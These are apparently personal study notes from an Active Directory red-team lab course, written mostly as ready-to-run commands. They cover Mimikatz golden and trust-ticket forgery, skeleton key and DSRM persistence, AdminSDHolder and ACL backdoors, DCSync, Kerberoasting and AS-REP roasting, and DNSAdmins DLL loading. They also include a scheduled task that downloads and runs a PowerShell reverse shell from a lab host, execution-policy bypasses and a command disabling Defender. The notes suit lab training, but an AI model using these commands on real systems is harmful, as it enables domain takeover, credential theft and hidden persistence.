| Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:CIFS /rc4:e214e73b73085c290421f085f6ed67bb /user:Administrator /ptt"' | |
| Schedule the task | |
| schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.68:8080/Invoke-PowerShellTcp.ps1''')'" | |
| Execute the task | |
| schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "STCheck" | |
| #Skeleton Key | |
| Skeleton key is a persistence technique where it is possible to patch a Domain Controller (lsass process) so that is allows access as any user with a single password.The attack was discovered by Dell Secureworks used in a malware named the skeleton key malwareAll the publicly known methods are NOT persistent across reboots. We cannot patch lsass twice(the attack would fail) | |
| Use the below command to inject a skeleton key (password would be mimikatz) on a Domain Controller of choice. DA privileges required | |
| Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local | |
| Now it is possible to access any machine with a valid username and password as "mimikatz" | |
| Enter-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Credential dcorp\administrator | |
| You can access other machines as well as long as they authenticate with the DC which hash been patched and the DC is not rebooted. | |
| In case lsass is running as a protected process, we can still use Skeleton Key but it needs the mimikatz driver (mimidriv.sys) on disk of the target DC | |
| privilege::debug!+!processprotect /process::lsass.exe /removemisc::skeleton!- | |
| Note that above command would be very noisy in logs - Service Installation (Kernel mode driver) | |
| #DSRM | |
| DSRM is Directory Services Restore Mode.There is a local administrator on every DC called "Administrator" whose password is the DSRM password. DSRM password (SafeModePassword) is required when a server is promoted to Domain Controller and it is rarely changes. After altering the configuration on the DC, it is possible to pass the NTLM has of this user to access the DC. This is used when domain controller needs to be booted in safe mode.DSRM administrator is not allowed to logon over the network on the DC. | |
| DUMP DSRM password (needs DA privs) | |
| Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local | |
| Compare the administrator hash with the Administrator hash of the below command | |
| Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local | |
| Since DSRM user is the local administrator of the DC, we can pass the hash to authenticate.But, the logon behavior for the DSRM account needs to be changed before we can use its hash for network logon. | |
| Enter-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.localGet-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 | |
| New-ItemPropery "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD | |
| Use below command to pass the hash for DSRM user | |
| Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"' | |
| Try to access the C drive of the DC | |
| ls \\dcorp-dc\c$ | |
| #Custom SSP | |
| A Security Support Provider (SSP) is a DLL which provides ways for an application to obtain an authenticated connection. Some SSP Packages by Microsoft areNTLMKerberosWdigestCredSSP | |
| Mimikatz provides a custom SSP - mimilib.dll. This SSP logs local logons, service account and machine account passwords in clear text on the target server. | |
| We can use either of the ways:Drop the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages: | |
| $package = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' | select -ExpandProperty 'Security Packages'$packages += "mimilib" | |
| Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packagesSet-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages | |
| Using Mimikatz, inject into lsass (Not stable with Server 2016): | |
| Invoke-Mimikatz -Command '"misc::memssp"' | |
| All local logons on the DC are logged to | |
| C:\Windows\system32\kiwissp.log | |
| #AdminSDHolder | |
| Resides in the System container of a domain and used to control the permissions - Using an ACL - for certain built-in privileged groups (called Protected Groups)Security Descriptor Propagator (SDPROP) runs every hour and compares the ACL of protected groups and members with the ACL of AdminSDHolder and any differences are overwritten on the object ACL. | |
| With Domain Admin privileges (Full Control / Write Permissions) on the AdminSDHolder object, it can be used as a backdoor / persistence mechanism by adding a user with Full Permissions (or other interesting permissions) to the AdminSDHolder object.In 60 minutes (when SDPROP runs), the user will be added with full control of the protected groups like Domain Admins without actually being a member of it. | |
| Add FullControl permissions for a user to the AdminSDHolder as DA | |
| #PowerViewAdd-ObjectACL -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student68 -Rights All -Verbose | |
| #AD Module - With custom script (Set-ADACL)Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principal student68 -Verbose | |
| Other interesting permissions (ResetPassword, WriteMembers) for a user to the AdminSDHolder | |
| Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student68 -Rights ResetPassword -Verbose | |
| Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student68 -Rights WriteMembers -Verbose | |
| Run SDPROP manually using Invoke-SDPropagator.ps1 | |
| Invoke-SDPropagator -timeourMinutes 1 -showProgress -Verbose | |
| Check the Domain Admins permission as normal user | |
| #PowerViewGet-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'student68'} | |
| #AD Module(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access | ?{$_.IdentityReference -match 'student68'} | |
| Abusing FullControl | |
| #PowerView DevAdd-DomainGroupMember -Identity 'Domain Admins' -Members student68 -Verbose | |
| #AD ModuleAdd-ADGroupMember -Identity 'Domain Admins' -Members student68 | |
| Abusing ResetPassword | |
| #PowerView DevSet-DomainUserPassword -Identity student68 -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose | |
| #AD ModuleSet-ADAccountPassword -Identity student68 -NewPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose | |
| Add FullControl rights | |
| #PowerViewAdd-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalSamAccountName student68 -Rights All -Verbose | |
| #AD ModuleSet-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal student68 -Verbose | |
| Add rights for DCSync | |
| #PowerViewAdd-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalSamAccountName student68 -Rights DCSync -Verbose | |
| #AD ModuleSet-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal student68 -GUIDRight DCSync -Verbose | |
| Execute DCSync | |
| Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' | |
| #Security Descriptors | |
| Persistence using ACLs specifically host based security descriptors. Once we have local admin privileges on the box it is possible to modify the security descriptor on the target system like SACL & DACL etc of remote access methods such as WMI, PSRemoting, Remote Registry so that even non admin users can access it target system and execute commands remotely. | |
| It is possible to modify Security Descriptors (security information like Owner,primary group, DACL & SACL) of multiple remote access methods (securable objects) to allow access to non-admin users.Administrative privileges are required for this. It, of course, works as a very useful and impactful backdoor mechanism. | |
| Security Descriptor Defination Language(SDDL) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL:ace_type;ace_flags;rights;object_guid;inherit_ | |
| ACLs can be modified to allow non-admin users access to securable objectsModify the security descriptor for WMIOn local machine for student68 | |
| #Set-RemoteWMI.ps1Set-RemoteWMI -UserName student68 -Verbose | |
| On remote machine for student68 without explicit credentials | |
| Set-RemoteWMI -UserName student68 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Verbose | |
| On remote machine with explicit credentials. Only root\cimv2 and nested namespaces | |
| Set-RemoteWMI -UserName student68 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Credential administrator -namespace 'root\cimv2' -Verbose | |
| On remote machine remove permissions | |
| Set-RemoteWMI -UserName student68 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Remove -Verbose | |
| Modify the security descriptor for PSRemotingOn Local machine for student 68 | |
| #Set-RemotePSRemoting.ps1Set-RemotePSRemoting -UserName student68 -Verbose | |
| On remote machine for student68 without credentials | |
| Set-RemotePSRemoting -UserName student68 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose | |
| On remote machine, remove the permissions | |
| Set-RemotePSRemoting -UserName student68 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Remove -Verbose | |
| Modify the security descriptors for Remote RegistryUsing DAMP, with admin privs on remote machine | |
| Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trustee student68 -Verbose | |
| As student68, retrieve machine account hash | |
| Get-RemoteMachineAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose | |
| Retrive local account hash | |
| Get-RemoteLocalAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose | |
| Retrieve domain cached credentials | |
| Get-RemoteCachedCredential -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose | |
| ##Privilege Escalation | |
| #Kerberoast | |
| Offline cracking of service account passwordsThe kerberos session ticket (TGS) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack.Service accounts are many times ignored (passwords are rarely changed) and have privileged access. Password hashes of service accounts could be used to create silver tickets. | |
| Find User accounts used as Service accounts | |
| #PowerViewGet-NetUser -SPN | |
| #AD ModuleGet-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | |
| Request a TGS | |
| Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local" | |
| #PowerViewRequest-SPNTicket | |
| Check if the TGS has been granted | |
| klist | |
| Export all tickets using Mimikatz | |
| Invoke-Mimikatz -Command '"kerberos::list /export"' | |
| Crack the Service account password | |
| python.exe .\tgsrepcrack.py .\10k-worst-pass.txt 1-40a10000-student68@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi | |
| #Targeted Kerberoasting - AS-REPs | |
| If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline.With sufficient rights (GenericWrite or GenericAll), kerberos preauth can be forced disabled as well. | |
| Enumerating accounts with Kerberos Preauth disabled | |
| #PowerView DevGet-DomainUser -PreauthNotRequired -Verbose | |
| #AD Module Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth | |
| Force disable Kerberos PreauthLet's enumerate the permissions for RDPUsers on ACL's | |
| #PowerView DevInvoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} | |
| Set-DomainObject -Identity Control68User -XOR @{useraccountcontrol=4194304} -Verbose | |
| Get-DomainUser -PreauthNotRequired -Verbose | |
| Request encrypted AS-REP for offline brute-forceLet's use ASREPRoast | |
| Get-ASREPHash -UserName VPN68User -Verbose | |
| To enumerate all users with Kerberos preauth disabled and request a hash | |
| Invoke-ASREPRoast -Verbose | |
| Cracking the hashUsing bleeding-jumbo branch of John The Ripper, we can brute-force the hashes offline | |
| ./john vpn68user.txt --wordlist=wordlist.txt | |
| #Targeted Kerberoasting - Set SPN | |
| With enough rights (GenericAll/GenericWrite), a target user's SPN can be set to anything(unique in the domain)We can then request a TGS without special privileges. The TGS can then be "kerberoasted" | |
| Let's enumerate the permissions for RDPUsers on ACL's | |
| #PowerView DevInvoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} | |
| Check if the user already has a SPN | |
| #PowerView DevGet-DomainUser -Identity support68user | select serviceprincipalname | |
| #AD ModuleGet-ADUser -Identity support68user -Properties ServicePrincipalName | Select ServicePrincipalName | |
| Set a SPN for the user (must be unique for the domain) | |
| #PowerViewSet-DomainObject -Identity support68user -Set @{serviceprincipalname='ops/whatever1'} | |
| #AD ModuleSet-ADUser -Identity support68user -ServicePrincipalNames @{Add='ops/whatever1'} | |
| Request a ticket | |
| Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1" | |
| #PowerViewRequest-SPNTicket | |
| Check if the TGS has been granted | |
| klist | |
| Export all tickets using Mimikatz | |
| Invoke-Mimikatz -Command '"kerberos::list /export"' | |
| Crack the Service account password | |
| python.exe .\tgsrepcrack.py .\10k-worst-pass.txt 2-40a10000-student68@ops~whatever1-DOLLARCORP.MONEYCORP.LOCAL.kirbi | |
| ##Kerberos Delegation | |
| #UnConstrained Delegation | |
| #Constrained Delegation | |
| Constrained Delegation when enabled on a service account, allows access only to specified services on specified computer as a user.A typical scenario where a constrained delegation | |
| Enumerate users and computers with constrained delegation enabled | |
| #PowerView DevGet-DomainUser -TrustedToAuthGet-DomainComputer -TrustedToAuth | |
| #AD ModuleGet-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo | |
| Priv Esc - DNS Admins | |
| It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (System).In case the DC also serves as DNS, this will provide us escalation to DA.Need privileges to restart the DNS service. | |
| Enumerate the members of the DNSAdmins group | |
| #PowerViewGet-NetGroupMember -GroupName "DNSAdmins" | |
| #AD ModuleGet-ADGroupMember -Identity DNSAdmins | |
| Once we know the members of the DNSAdmins group, we need to compromise a member. We already have hash of srvadmin because of derivative local admin | |
| From the privileges of DNSAdmins group member, configure DLL using dnscmd.exe (needs RSAT DNS) | |
| dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.100.68\dll\mimilib.dll | |
| Using DNSServer module (needs RSAT DNS) | |
| $dnsettings = Get-DNSServerSetting -ComputerName dcorp-dc -Verbose -All$dnsettings.ServerLevelPluginDll = "\\172.16.100.68\dll\mimilib.dll" Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose | |
| #Priv Esc - Across Trust | |
| Across Domains - Implicit two way trust relationshipAcross Forest - | |
| #Child to Parent | |
| Domains in same forest have an implicit two-way trust with other domains. There is trust key between the parent and child domainsThere are two ways of escalating privileges between two domains of same forest | |
| • krbtgt hash | |
| • Trust tickets | |
| Child to forest root using trust ticketsSo what is required to forge trust tickets is obviously the trust key look for [in] trust key from child to parent | |
| Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc | |
| Invoke-Mimikatz -Command '"lsadump::dcsync /user\dcorp\mcorp$"' | |
| Child to forest root using trust ticketsAn inter-realm TGT can be forged | |
| Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /sids:S-1-5-21-560323961-2032768757-2425134131-519 /rc4:8c762f099cfe1fb57e699a915069e921 /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"' | |
| Child to Forest Root using Trust Tickets Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket. | |
| .\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local | |
| Tickets for other services (like HOST and RPCSS for WMI, HOST and HTTP for PowerShell Remoting and WinRM) can be created as well. | |
| Child to Forest Root using Trust Tickets Use the TGS to access the targeted service (may need to use it twice). | |
| .\kirbikator.exe lsa .\CIFS.mcorp-dc.moneycorp.local.kirbi | |
| ls \\mcorp-dc.moneycorp.local\c$ | |
| We will abuse SID history once again | |
| Invoke-Mimikatz -Command '"lsadump::lsa /patch"' | |
| Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"' | |
| In the above command, the mimikatz option "/sids" is forcefully setting the SID History for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group. | |
| #Across Forest | |
| Across ForestsOnce again, we require the trust key for the inter-forest trust | |
| Invoke-Mimikatz -Command '"lsadump::trust /patch"' | |
| OR | |
| Invoke-Mimikatz -Command '"lsadump::lsa /patch"' | |
| An inter-forest TGT can be forged | |
| Invoke-Mimikatz -Command '"kerberos::golden /user:administrator /domain:dollarcorp.moneycorp.local /sid: /rc4: /service:krbtgt /target:eurocorp.local /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi | |
| Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket | |
| .\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local | |
| Tickets for other services (like HOST and RPCSS for WMI, HOST and HTTP for PowerShell Remoting and WinRM) can be created as well | |
| #Trust Abuse - MSSQL Server | |
| MSSQL server are generally deployed in plenty in a Windows domain.SQL Servers provide very good options for lateral movement as domain users can be mapped to database roles. | |
| Discovery (SPN Scanning) | |
| Get-SQLInstanceDomain | |
| Check Accessibility | |
| Get-SQLConnectionTestThreaded | |
| Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose | |
| Gather Information | |
| Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose | |
| A database link allows a SQL Server to access external data source like other SQL Server and OLD DB data sourcesIn case of database links between SQL Servers, that is linked SQL servers it is possible to execute stored proceduresDatabase links work even across forest trusts | |
| Searching Database LinksLook for links to remote servers | |
| Get-SQLServerLink -Instance dcorp-mssql -Verbose | |
| OR | |
| select * from master..sysservers | |
| Enumerate Database Links - ManuallyOpenquery() function can be used to run queries on a linked database | |
| select * from openquery("dcorp-sql1",'select * from master.sysservers') | |
| Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose | |
| OR | |
| select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt", 'select * from master.sysservers')) |
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| Windows Red Team Lab (video notes) | |
| Lesson 1 Basics: | |
| Active Directory: | |
| - Directory Service used to managed Windows networks | |
| - stores information about objects on the network and makes it easily available to users and domains | |
| - Active Directory enabled centralized, secure management of an entire network, which might span a building, a city or multiple locations | |
| - Schema - defines objects and their attributes | |
| - query and index mechanism - provides searching and publication of objects and their properties | |
| - Global Catalog - contains information about every object in the directory | |
| - Replication Service - distributes information across domain controllers | |
| - Forest, domains and organizational unites (OUs) are the basic building blocks of any active directory structure. | |
| - a forest is a security boundary - may contain multiple domains and each domain may contain multiple OUs. | |
| PowerShell: | |
| - provides access to almost everything in a Windows platform and AD environment which could be useful for an attacker | |
| - provides the capability of running powerful scripts completely from memory making it ideal for foothold shells/boxes | |
| - easy to learn and really powerful | |
| - based on .NET framework and is tightly integrated with Windows | |
| - PowerShell Core is platform independent | |
| Open up Windows PowerShell ISE as an Administrator: | |
| See file with powershell commands... | |
| Cmdlets are used to perform an action and a .Net obkect is returned as the output | |
| Cmdlets accept parameters for different operations | |
| They have aliases. | |
| These are NOT executables, you can write your own cmdlet with few lines of script. | |
| Examples: | |
| cd C:\ | |
| dir: //this works | |
| dir.exe: //this does not | |
| Important! | |
| Use the below command for listing all cmdlets: | |
| get-command -commandtype cmdlet | |
| There are many interesting cmdlets from a pentester's perspective. | |
| For example: | |
| get-process | |
| , list processes running on a system. | |
| get-command -Name *process* | |
| get-command -Verb set | |
| It is a GUI Editor/Scripting Environment. | |
| Tab Completion, context-sensitive help, syntax highlighting, selective execution, in-line help are some of the useful features. | |
| Comes with a handy console pane to run commands from the ISE. | |
| Execution Policy: | |
| - this is NOT a security measure, but it is a prevention measure to prevent a user from accidently executing scripts | |
| - several ways to bypass: | |
| powershell -executionbypass bypass .\script.ps1 | |
| powershell -c <cmd> | |
| powershell -enc | |
| Turn off the Windows Defender: | |
| Set-MpPreference -disablerealtimeMonitoring $true | |
| .\Invoke-Encode.ps1 | |
| Get-ExecutionPolicy | |
| powershell -ep bypass | |
| Powershell.exe -ExecutionPolicy bypass -File C:\Users\win10\Downloads\nishang-master\Utility\Invoke-Encode.ps1 | |
| - Powershell also supports modules. | |
| - A module can be imported with: | |
| Import-module <path to module> | |
| - all the commands in a module can be listed with: | |
| Get-Command -Module <modulename> | |
| Get-Command -module Get-ScheduledTask | |
| Get-command -module | |
| ################ | |
| . c:\AD\Tools\Invoke-Encode.ps1 | |
| - the '.' in front of the path (Above) is called dot sourcing. | |
| ################ | |
| Whenever there is a command execution opportunity, PowerShell scripts can be executed using following methods: | |
| - Download execute cradle | |
| iex(New-Object net.webclient).DownloadString('https://webserver/payload.ps1') | |
| - Encodedcommand | |
| >help powershell.exe //to find out powershell.exe available commands! | |
| CheckOut Invoke-CradleCrafter: | |
| http://github.com/danielbohannon/Invoke-CradleCrafter | |
| ##################### | |
| Lesson 2 Domain Enumeration: | |
| PowerShell and AD: | |
| - [ADSI] | |
| - .Net Classes | |
| - Native Executables | |
| - PowerShell (.NET classes or WMI or Active Directory Module) | |
| Let's start wirh Domain Enumeration and map various entities, trusts, relationships and privileges of the target domain. | |
| We will use open source tools, such as PowerView, for domain enumeration. | |
| https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 | |
| We will also use Microsoft Active Directory module: | |
| https://docs.microsoft.com/en-us/powershell/module/addsadministration/ | |
| After spending some time to install PowerView and the Install-ActiveDirectoryModule.ps1, we can finally start doing some domain enumeration! | |
| PS C:\users\win10\Downloads> powershell.exe -executionpolicy unrestricted | |
| Windows PowerShell | |
| Copyright (C) Microsoft Corporation. All rights reserved. | |
| PS C:\users\win10\Downloads> .\Install-ActiveDirectoryModule.ps1 | |
| NAME | |
| Install-ADModule | |
| SYNOPSIS | |
| Installs the AD PowerShell module from RSAT for Windows 10 | |
| (partial copy above) | |
| - Get the current domain(PowerView) | |
| Get-NetDomain | |
| Get-NetDomain -Domain lethallab.local | |
| - Get the current domain SID: | |
| Get-DomainSID | |
| - Using Active Directory module: | |
| Get-ADDomain | |
| Get-ADDomain -Identity lethallab.local | |
| (Get-ADDomain).DomainSID.Value | |
| Let's setup the environment! | |
| You should make sure you have a good working Domain Controller, as all the information is being pulled from a Domain Controller. | |
| PS C:\Users\win10\Downloads\PowerSploit-master\Recon> Import-Module .\PowerView.ps1 | |
| PS C:\users\win10\Downloads\PowerSploit-master\recon> get-command -module recon | |
| PS C:\users\win10\Downloads\PowerSploit-master\recon> get-netdomain | |
| PS C:\Users\win10\Downloads\PowerSploit-master\Recon> get-netdomain -domain lethallab.local | |
| Forest : lethallab.local | |
| DomainControllers : {Win2008SRV.lethallab.local, WIN2016SRV.lethallab.local} | |
| Children : {} | |
| DomainMode : Windows2003Domain | |
| DomainModeLevel : 2 | |
| Parent : | |
| PdcRoleOwner : Win2008SRV.lethallab.local | |
| RidRoleOwner : Win2008SRV.lethallab.local | |
| InfrastructureRoleOwner : Win2008SRV.lethallab.local | |
| Name : lethallab.local | |
| -Get Domain Controllers for a domain: | |
| PS C:\Users\win10\Downloads> Get-NetDomainController | |
| PS C:\Users\win10\Downloads> Get-NetDomainController -domain lethallab.local | |
| - Using Active Directory module: | |
| Get-ADDomainController | |
| Get-ADDomainController -Discover -DomainName lethallab.local | |
| - Get users of a domain: | |
| Get-NetUser | |
| get-netuser | select name | |
| Get-NetUser -Domain lethallab.local | |
| Get-NetUser -UserName win10 | |
| -Using ActiveDirectory module: | |
| Get-ADUser -Filter * -Properties * | |
| Get-ADUser -Server ps-dc.lethallab.local | |
| Get-ADUser -Identity win10 | |
| -Get all the groups in the current domain: | |
| Get-NetGroup | |
| Get-NetGroup *admin* | |
| - Using Active Directory Module: | |
| Get-ADGroup -Filter * | select Name | |
| Get-ADGroup -Filter 'Name -like "*admin*"' | select Name | |
| get-adgroup -filter {Name -like "*admin*"} |select name | |
| - Get all the members of the Domain Admins group: | |
| Get-NetGroupMember -GroupName "Domain Admins" | |
| - Get ActiveDirectory Module | |
| Get-ADGroupMember -Identity "Domain Admins" -Recursive | |
| - Get the group membership of a user: | |
| Get-NetGroup -UserName "labuser" | |
| - Using ActiveDirectory Module: | |
| Get-ADPrincipalGroupMembership -Identity labuser | |
| - Get all computers of the domain: | |
| Get-NetComputer | |
| Get-NetComputer -FullData | |
| - Using ActiveDirectory Module: | |
| Get-ADComputer -Filter * | select Name | |
| Get-ADComputer -Filter * -Properties * | |
| Note to self: You should keep in mind and consider that the information is pulled from the information your Domain Controller has, and it's not an indication that the physical computer still exists. Most companies keep obsolete information in Active Directory, because they never go through an Active Directory maintenance and cleanup. In either case, the information can still be useful in your exploitation attempts! | |
| - Find all machines on the current domain where the current user has local admin access: | |
| Find-LocalAdminAccess -verbose | |
| - Find local admins on all machines of the domain: | |
| Invoke-EnumerateLocalAdmin -verbose | |
| - List Sessions on a particular computer: | |
| Get-NetSession -ComputerName ops-dc | |
| Note: Domain Administrator is a very sought after target, but DO NOT go after the Domain Admin (DA) blindly! Make sure getting the DA account is the goal/purpose of the engagement! | |
| - Find computers where a domain admin is logged in and current user has access: | |
| Invoke-UserHunter -CheckAccess -Verbose | |
| - Above gets a list of machines from DC and list sessions and logged on users_from_each machine! This is not easy to find, but it's still a useful command to run! | |
| Hands-On number 1: | |
| - Enumerate the following for the current domain: | |
| Users, Computers, Domain Administrators, Shares, Sessions on the Domain Controller. | |
| Demonstration: Block user hunting(session enumeration) on the Domain Controller!!!!!! | |
| - we can use a script called NetCease.ps1 that strips such permissions from a box. | |
| ###### | |
| Domain Enumeration - ACL: | |
| You can find ACLS in Active Directory under a user (for example), Security tab, Advanced, and the Permissions tab. | |
| - Get the ACLs associated with the specified object: | |
| Get-ObjectACL -SamAccountName win10 -ResolveGUIs | |
| - Get the ACLs associated with the specified prefix to be used for search: | |
| Get-ObjectACL -ADSprefix 'CN=Administrator, CN=Users' -Verbose | |
| - We can also enumerate ACLs using Active Directory Module but without resolving GUIDs: | |
| (Get-ACL 'AD:\CN=win10, CN=Users, DC=win2008srv, DC=lethallab, DC=local').Access | |
| - To look for interesting ACEs: | |
| Invoke-ACLScanner -ResolveGUIDs | |
| Hands-On number 2: | |
| - Enumerate following for the current domain: | |
| Check if win10 user has Write/Modify permissions on any objects! | |
| ############## | |
| Domain Enumeration - Trusts: | |
| - Get a list of all domain trusts for the current domain, if you have any, but it's possible that in your home lab network, you will not have any, since you only have one forest or (if any) child domain: | |
| Get-NetDomainTrust //don't worry if you don't have any in your lab domain | |
| Get-NetDomainTrust -Domain redps.offensiveps.lethallab.local //this would be a child domain of the lethallab.local domain | |
| - Using Active Directory Module: | |
| Get-ADTrust -Filter * | |
| Get-ADTrust -Identity redps.offensiveps.lethallab.local | |
| - Get details about the current forest: | |
| Get-NetForest | |
| Get-NetForest -Forest lethallab.local | |
| - Using Active Directory Module: | |
| Get-ADForest | |
| Get-ADForest -Identity lethallab.local | |
| - Get all domains in the current forest: | |
| Get-NetForestDomain | |
| Get-NetForestDomain -Forest lethallab.local | |
| - Using ActiveDirectory Module: | |
| (Get-ADForest).Domains | |
| - Get trusts in the forest (if you have a forest trust in your lab and if you don't, then don't expect an output): | |
| Get-NetForestTrust | |
| Get-NetForestTrust -Forest lethallab.local | |
| - Using ActiveDirectory Module: | |
| Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"' | |
| Hands-On number 3: | |
| Enumerate all the trusts - domain trusts, external trusts and others for the current forest. | |
| ##################### | |
| Lesson 3 Local Privilege Escalation: | |
| - up to now, we have only done a lot of enumeration! | |
| In an AD environment, there are multiple scenarios which lead to privilege escalation. We had a look for the following: | |
| - Hunting for Local Admin access on other machines | |
| - Hunting for high privilege domain account (like a Domain Admin) | |
| There are various ways to privilege escalate on Windows boxes: | |
| - Missing patches | |
| - Automated deployment and AutoLogon passwords in clear text | |
| - AlwaysInstallElevated (any user can run MSI on SYSTEM) | |
| - Misconfigured Services | |
| - DLL HiJacking | |
| - Token Manipulation or Impersonation | |
| PowerUp: | |
| - Let's use PowerUp from PowerSploit for local privilege escalation by abusing services. | |
| - Get Services with unquotes paths and a space in their name or executable path: | |
| Get-ServiceUnquotes -Verbose | |
| ex: | |
| Get-WmiObject win32_service | fl * | |
| For instance if in the path c:\ftpserver\ftp server\myftp\ftp.exe , the c:\ftpserver\ftp server\myftp\ftp.exe is unquoted, an attacker can drop an ftp.exe, and as soon as the user, right the right permissions, run the program, we can privilege escalate. That's why it's called the unquoted path vulnerability! For this to NOT work, the path would have to be in quotes, like this: | |
| "c:\ftpserver\ftp server\myftp\ftp.exe" . | |
| - Get Services where the current user can write to its binary path: | |
| Get-ModifiableServiceFile -Verbose | |
| - Get the Services which current user can modify: | |
| Get-ModifiableService -Verbose | |
| - Run all Checks: | |
| Invoke-AllChecks | |
| Example: | |
| PS C:\Users\win10\Downloads\PowerSploit-master> cd .\Privesc\ | |
| PS C:\Users\win10\Downloads\PowerSploit-master\Privesc> ls | |
| Directory: C:\Users\win10\Downloads\PowerSploit-master\Privesc | |
| Mode LastWriteTime Length Name | |
| ---- ------------- ------ ---- | |
